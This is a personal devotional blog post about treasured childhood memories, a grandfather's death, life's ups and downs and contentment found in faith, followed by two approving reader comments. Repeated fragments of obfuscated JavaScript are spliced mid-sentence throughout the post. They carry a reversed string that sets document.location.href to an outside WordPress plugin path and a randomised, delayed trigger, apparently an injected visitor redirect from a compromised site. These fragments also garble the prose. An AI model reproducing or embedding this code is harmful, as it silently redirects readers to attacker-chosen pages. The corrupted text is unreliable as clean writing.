Isn’t it funny how there are certain times of your life, even from a very young age, that the memory of those times seem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to stick with you. Not only do they stick with you, they are associated with feelings that you can still feel as if it were yesterday.
I am sure we all have many of them.

I remember buying him a beer that day and how we enjoyed sitting there like two of the guys and no one giving him a hard time about it. He was like a kid in a candy shop – grinning from ear toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ear. I remember the day he passed away and my grandmother answering the door and telling me “no more grampy” like it was yesterday even though it was about 30 years ago.
I remember one day when I was a child, standing at the back door of my house looking outside. The warm summer breeze was blowing in through the screen door ontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to my face and I could hear other kids laughing and playing next door. And I remember the feeling that came over me – a feeling of complete contentment and happiness. Everything was okay in the world right at that moment.
I have been searching for that feeling ever since. And, not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to admit that I might be getting old, but even though that was probably coming up on 40 years ago at this point, I remember that day like it was yesterday.
In my life there have been good times and bad times. There have been days of extreme happiness and profound sorrow. But overall, even taking intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to account the struggles that have come up, my life has been a good one. I don’t think anything has happened that one would think was anything other than just part of the natural up and down cycle of life.
And that is what life is – a series of up and down cycles. Economic, health, relationships…
Even the bible tells us about these cycles in Ecclesiastes 3:1 “There is a time for everything, and a season for every activity under heaven.”
Over the years, I have continued toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to search for the elusive feeling of overwhelming contentment and happiness.
We will always have worries and concerns that we need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to deal with. Those will never go away, so if I am looking for that feeling toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to come from not having those in my life, I think I am setting myself up for disappointment.
I have found that feeling when I look for it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to come from my relationship with God and knowing how much He cares for me and looks out for me.

This is so timely and so true. I am incredibly thankful our God is so loving and compassionate and for His comfort during all of life’s ups and downs. He is consistent, His timing is perfect and His will is absolute. God is so good all the time!
Our Creator God is the same yesterday, today and forever, think of that FOREVER!And He has promised to never leave us or forsake us and to love us with an EVERLASTING LOVE!!
